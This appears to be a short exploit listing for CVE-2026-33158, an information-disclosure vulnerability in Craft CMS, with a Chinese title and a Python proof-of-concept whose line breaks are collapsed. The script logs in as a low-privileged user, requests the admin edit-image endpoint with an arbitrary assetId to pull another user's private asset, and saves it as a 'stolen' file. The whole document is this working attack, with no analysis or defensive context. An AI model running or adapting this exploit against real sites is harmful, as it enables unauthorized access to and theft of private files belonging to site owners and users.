CVE-2026-33158 Craft CMS 信息泄露漏洞

import requests # Configuration target_url = "http://target-craft-cms.com" username = "low_priv_user" password = "user_password" def exploit(): # Create a session to handle cookies session = requests.Session() # 1. Authenticate as a low-privileged user # Note: Login endpoint may vary depending on Craft CMS configuration login_data = { "loginName": username, "password": password } print("[*] Attempting to login...") login_resp = session.post(f"{target_url}/login", data=login_data) if login_resp.status_code != 200: print("[-] Login failed.") return print("[+] Login successful.") # 2. Exploit the vulnerability by requesting an arbitrary assetId # The asset ID to target (e.g., a private file belonging to an admin) target_asset_id = "123" # Vulnerable endpoint exploit_endpoint = f"{target_url}/admin/assets/edit-image" params = { "assetId": target_asset_id } print(f"[*] Sending request to retrieve assetId: {target_asset_id}") response = session.get(exploit_endpoint, params=params) # 3. Check response if response.status_code == 200: # The endpoint returns image bytes or a redirect content_type = response.headers.get('Content-Type') print(f"[+] Request successful! Content-Type: {content_type}") # Save the retrieved asset with open(f"stolen_asset_{target_asset_id}.bin", "wb") as f: f.write(response.content) print(f"[+] Saved retrieved content to stolen_asset_{target_asset_id}.bin") else: print(f"[-] Failed to retrieve asset. Status code: {response.status_code}") if __name__ == "__main__": exploit()